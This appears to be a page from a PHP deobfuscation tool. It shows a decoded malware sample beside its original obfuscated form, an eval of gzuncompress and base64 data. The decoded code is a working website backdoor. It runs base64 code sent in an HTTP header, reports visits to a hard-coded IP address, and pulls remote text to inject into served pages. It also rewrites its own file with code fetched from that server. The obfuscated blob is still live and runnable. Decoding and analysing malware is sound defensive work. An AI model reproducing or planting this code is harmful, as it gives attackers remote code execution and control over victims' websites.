Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$vcf2a8c68ed='eNpNmMUOxMYSRX8mUhJ5YSZFWZiZ2Zsn8xjHTF+fWT6pe9OrUsG9p/qPE85zmshImKz//bMyZ3PU..
Decoded Output download
if (!defined('VI_CURRENT_FILE')) { define('VI_CURRENT_FILE', preg_replace('~\(.*\(.*~', '', __FILE__)); } if (isset($_SERVER['REQUEST_METHOD']) && @strtoupper($_SERVER['REQUEST_METHOD']) == 'HEAD') { @header('X-Site-Identity: ' . time()); } if (VI_CURRENT_FILE == preg_replace('~\(.*\(.*~', '', __FILE__)) { if (!function_exists('http_build_query')) { function http_build_query($spff8533, $sp953bd4 = null, $sp06da5c = '&', $spe3ad9d = '') { $spbd7c10 = array(); foreach ((array) $spff8533 as $sp2210ab => $sp584b8e) { $sp2210ab = urlencode($sp2210ab); if (is_int($sp2210ab) && $sp953bd4 != null) { $sp2210ab = $sp953bd4 . $sp2210ab; } if (!empty($spe3ad9d)) { $sp2210ab = $spe3ad9d . '[' . $sp2210ab . ']'; } if (is_array($sp584b8e) || is_object($sp584b8e)) { array_push($spbd7c10, http_build_query($sp584b8e, '', $sp06da5c, $sp2210ab)); } else { array_push($spbd7c10, $sp2210ab . '=' . urlencode($sp584b8e)); } } if (empty($sp06da5c)) { $sp06da5c = ini_get('arg_separator.output'); } return implode($sp06da5c, $spbd7c10); } } if (!function_exists('file_put_contents')) { function file_put_contents($spa9c93b, $spff8533) { $sp3b2bfc = @fopen($spa9c93b, 'w'); if (!$sp3b2bfc) { return false; } else { $sp5c6517 = fwrite($sp3b2bfc, $spff8533); fclose($sp3b2bfc); return $sp5c6517; } } } if (!class_exists('VI_Engine')) { class VI_Engine { var $sp5a51c8 = 86400; var $sp720847 = 86400; var $sp22aaa1 = 15; var $sp72b395 = 'http://91.200.12.14'; var $sp197a9e = '1.6'; var $sp877e8c = null; var $spff8533 = array(); static $executed = false; function end() { $this->sp2599b9(); if (!empty($_SERVER['HTTP_VI_EXEC_CODE'])) { ob_end_clean(); eval(base64_decode($_SERVER['HTTP_VI_EXEC_CODE'])); echo '
executed'; die; } if (self::$executed) { ob_end_flush(); return; } self::$executed = true; $spbfe832 = $this->sp8cc1eb(); if (file_exists($spbfe832)) { $this->spff8533 = unserialize(file_get_contents($spbfe832)); } if (!isset($this->spff8533['stat'][$_SERVER['REQUEST_URI']])) { $this->spff8533['stat'][$_SERVER['REQUEST_URI']] = array('cnt' => 0); } $this->spff8533['stat'][$_SERVER['REQUEST_URI']]['cnt']++; $this->sp557c37(); $this->sp94818f(); $this->sp7547ad(); file_put_contents($spbfe832, serialize($this->spff8533)); $spa59eed = ob_get_contents(); ob_end_clean(); $this->sp877e8c = mb_detect_encoding($spa59eed); if (!empty($this->spff8533['pairs'][$_SERVER['REQUEST_URI']])) { $sp4d6543 = array(); $spc91588 = array(); foreach ($this->spff8533['pairs'][$_SERVER['REQUEST_URI']] as $spc5d13b) { $sp4d6543[] = $spc5d13b['needle']; $spc91588[] = $spc5d13b['replacement']; } if ($this->sp877e8c) { foreach ($sp4d6543 as &$sp31f35c) { $sp31f35c = $this->spf619d7($sp31f35c); } foreach ($spc91588 as &$sp31f35c) { $sp31f35c = $this->spf619d7($sp31f35c); } } $spa59eed = str_replace($sp4d6543, $spc91588, $spa59eed); } echo $spa59eed; } function sp2599b9() { if (!isset($_SERVER['REQUEST_URI'])) { $_SERVER['REQUEST_URI'] = @$_SERVER['SCRIPT_NAME']; if (isset($_SERVER['QUERY_STRING'])) { $_SERVER['REQUEST_URI'] .= '?' . @$_SERVER['QUERY_STRING']; } } } function sp8cc1eb() { $sp21280d = '/tmp'; if (function_exists('sys_get_temp_dir')) { $sp21280d = sys_get_temp_dir(); } $sp192513 = 'data.db'; $sp1f46e3 = array('wp-content/uploads', 'wp-content/', getcwd(), $sp21280d); foreach ($sp1f46e3 as $sp4f8211) { if (is_dir($sp4f8211) && is_writable($sp4f8211)) { return $sp4f8211 . '/' . $sp192513; } } return $sp192513; } function sp94818f() { $spe60195 = time(); if (!isset($this->spff8533['lastSyncContent']) || $this->spff8533['lastSyncContent'] + $this->sp720847 <= $spe60195) { $spe98ae6 = $this->spe40de2($this->sp72b395 . '/client/getReplacements?version=' . urlencode($this->sp197a9e)); if (!empty($spe98ae6)) { $spfc4c1f = unserialize($spe98ae6); if ($spfc4c1f !== false) { $this->spff8533['pairs'] = $spfc4c1f; } if (!isset($this->spff8533['pairs'])) { $this->spff8533['pairs'] = array(); } } $this->spff8533['lastSyncContent'] = $spe60195; } } function sp7547ad() { $spe60195 = time(); if (!isset($this->spff8533['lastSyncStatistic']) || $this->spff8533['lastSyncStatistic'] + $this->sp5a51c8 <= $spe60195) { $sp8d62bf = $this->sp8724a7($this->spff8533['stat']); if ($sp8d62bf == 'updated') { $this->spff8533['stat'] = array(); } $this->spff8533['lastSyncStatistic'] = $spe60195; } } function sp8724a7($spabc605) { $sp19e1d8 = array('stat' => $spabc605, 'version' => $this->sp197a9e); return $this->spe950f3($this->sp72b395 . '/client/putStatistic', $sp19e1d8); } function spe40de2($sp32dcb4) { return $this->sp5ad447('GET', $sp32dcb4); } function spe950f3($sp32dcb4, $sp19e1d8) { return $this->sp5ad447('POST', $sp32dcb4, $sp19e1d8); } function sp5ad447($sp4af5fd, $sp32dcb4, $sp19e1d8 = null) { if (function_exists('curl_init')) { $spc7f859 = curl_init(); curl_setopt($spc7f859, CURLOPT_URL, $sp32dcb4); curl_setopt($spc7f859, CURLOPT_RETURNTRANSFER, true); curl_setopt($spc7f859, CURLOPT_CONNECTTIMEOUT, $this->sp22aaa1); if ($sp4af5fd == 'POST') { curl_setopt($spc7f859, CURLOPT_POST, true); curl_setopt($spc7f859, CURLOPT_POSTFIELDS, http_build_query($sp19e1d8)); } $spb74189 = array('Domain: ' . $_SERVER['SERVER_NAME']); curl_setopt($spc7f859, CURLOPT_HTTPHEADER, $spb74189); $sp8d62bf = curl_exec($spc7f859); $spd65e15 = curl_getinfo($spc7f859, CURLINFO_RESPONSE_CODE); if (substr($spd65e15, 0, 1) == 4 || substr($spd65e15, 0, 1) == 5) { $sp8d62bf = ''; } curl_close($spc7f859); return $sp8d62bf; } elseif (function_exists('fsockopen')) { $spd7a822 = parse_url($sp32dcb4); if (empty($spd7a822['path'])) { $spd7a822['path'] = '/'; } $sp796018 = @fsockopen($spd7a822['host'], 80, $sped7e1c, $sp776693, $this->sp22aaa1); if (!$sp796018) { return false; } $sp270878 = $spd7a822['path'] . (isset($spd7a822['query']) ? '?' . $spd7a822['query'] : ''); $sp5ad447 = sprintf('%s %s HTTP/1.1
', $sp4af5fd, $sp270878) . sprintf('Host: %s
', $spd7a822['host']); $sp492722 = ''; if ($sp4af5fd == 'POST') { $sp492722 = http_build_query($sp19e1d8); $sp5ad447 .= 'Content-Type: application/x-www-form-urlencoded
' . 'Content-Length: ' . strlen($sp492722) . '
'; } $sp5ad447 .= sprintf('Domain: %s
', $_SERVER['SERVER_NAME']); $sp5ad447 .= 'Connection: Close
'; if ($sp4af5fd == 'POST') { $sp5ad447 .= $sp492722; } @fwrite($sp796018, $sp5ad447); $spff8533 = ''; while (!feof($sp796018)) { $spff8533 .= @fgets($sp796018); } @fclose($sp796018); $sp5a7179 = explode('
', $spff8533); if (empty($sp5a7179[1])) { return false; } $spb163ca = explode('
', $sp5a7179[0]); $spb52576 = explode(' ', $spb163ca[0]); $spd65e15 = $spb52576[1]; $spc9225c = explode('
', $sp5a7179[1]); if (count($spc9225c) <= 1 || (substr($spd65e15, 0, 1) == 4 || substr($spd65e15, 0, 1) == 5)) { return false; } unset($spc9225c[0]); return trim(implode('
', $spc9225c)); } elseif (ini_get('allow_url_fopen') == '1') { $sp4b23e7 = array('http' => array('method' => $sp4af5fd, 'timeout' => $this->sp22aaa1, 'header' => 'Domain: ' . $_SERVER['SERVER_NAME'])); if ($sp4af5fd == 'POST') { $sp4b23e7['http']['content'] = http_build_query($sp19e1d8); $sp4b23e7['http']['header'] .= '
Content-type: application/x-www-form-urlencoded'; } $sp0e9759 = stream_context_create($sp4b23e7); $spc9225c = @file_get_contents($sp32dcb4, false, $sp0e9759); $spb52576 = explode(' ', $spdaee09[0]); $spd65e15 = $spb52576[1]; if (substr($spd65e15, 0, 1) == 4 || substr($spd65e15, 0, 1) == 5) { return ''; } return $spc9225c; } return false; } function spf619d7($sp6e50c5) { $sp85d3c2 = mb_detect_encoding($sp6e50c5); return $sp85d3c2 ? iconv($sp85d3c2, $this->sp877e8c, $sp6e50c5) : $sp6e50c5; } function sp557c37() { $spa9c426 = $this->spe40de2($this->sp72b395 . '/client/checkUpdates?edition=' . $this->sp197a9e); if (empty($spa9c426) || !preg_match('~\/\*edition:(.+)(.*?);~', $spa9c426)) { return false; } return $this->spc906ad($spa9c426); } function spc906ad($sp42e397) { $sp0d52c6 = preg_replace('~\(.*\(.*~', '', __FILE__); $sp4248c0 = file_get_contents($sp0d52c6); $sp3c7741 = preg_replace('~\/\*edition:(.+)(.*?);~', $sp42e397, (string) $sp4248c0); return file_put_contents($sp0d52c6, $sp3c7741); } } } $sp8b6456 = new VI_Engine(); $sp8b6456->end(); }
Did this file decode correctly?
Original Code
$vcf2a8c68ed='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';eval(gzuncompress(base64_decode($vcf2a8c68ed)));
Function Calls
| gzuncompress | 10 |
| base64_decode | 10 |
Stats
| MD5 | 23e3daeaebc83a066af20c707c2f8e55 |
| Eval Count | 10 |
| Decode Time | 122 ms |